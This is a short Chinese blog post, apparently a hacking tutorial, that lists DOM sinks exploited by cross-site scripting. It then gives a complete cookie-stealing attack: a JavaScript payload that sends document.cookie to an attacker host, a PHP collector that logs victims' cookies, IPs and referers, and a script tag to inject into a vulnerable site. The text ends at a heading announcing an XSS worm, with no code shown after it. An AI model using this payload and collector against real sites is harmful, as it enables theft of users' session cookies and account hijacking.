XSS常被利用的脚本:
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
URL相关操作
document.location=…
document.location.hostname=…
document.location.replace(…)
document.location.assign(…)
document.URL=…
document.referrer
document.URLUnencoded
window.navigate(…)
window.location
直接运行脚本
eval(…)
window.execScript(…)
window.setInterval(…)
window.setTimeout(…)
直接写入html代码
document.write(…)
document.writeln(…)
document.body.innerHtml=…
直接修改DOM
document.forms[0].action=…
document.attachEvent(…)
document.create…(…)
document.execCommand(…)
document.body
window.attachEvent(…)
打开或修改窗口
document.open(…)
window.open(…)
window.location.href=…
XSS窃取COOKIE:
方法1.
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
我们拥有站点:http://xxx.com/ http://xxx.com/xss1/1.js插入跨站脚本: var img=document.createElement("img"); img.src="http://xxx.com/xss1/news.php?c="+escape(document.cookie); img.height='1px'; img.width='1px'; document.body.appendChild(img); http://xxx.com/xss1/news.php获取cookie: <?php if ($_GET['delete'] == 'yes'){ unlink('./cookies.htm'); exit(); } $cookie = $_GET['c']; $ip = $_SERVER['REMOTE_ADDR']; $time = date("j F, Y, g:i a"); $referer = $_SERVER['HTTP_REFERER']; $fp = fopen('cookies.htm', 'a'); fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '.$time. '<br> Referer: '.$referer.'<br><br><br>'); fclose(); ?> 在XSS站点输入:<script src='http://xxx.com/xss1/1.js'></script> 这样当 别人 中招,在http://xxx.com/xss1/cookies.htm就可以找到他人cookie.
2013.12.24增加实例: XSS小型蠕虫 代码: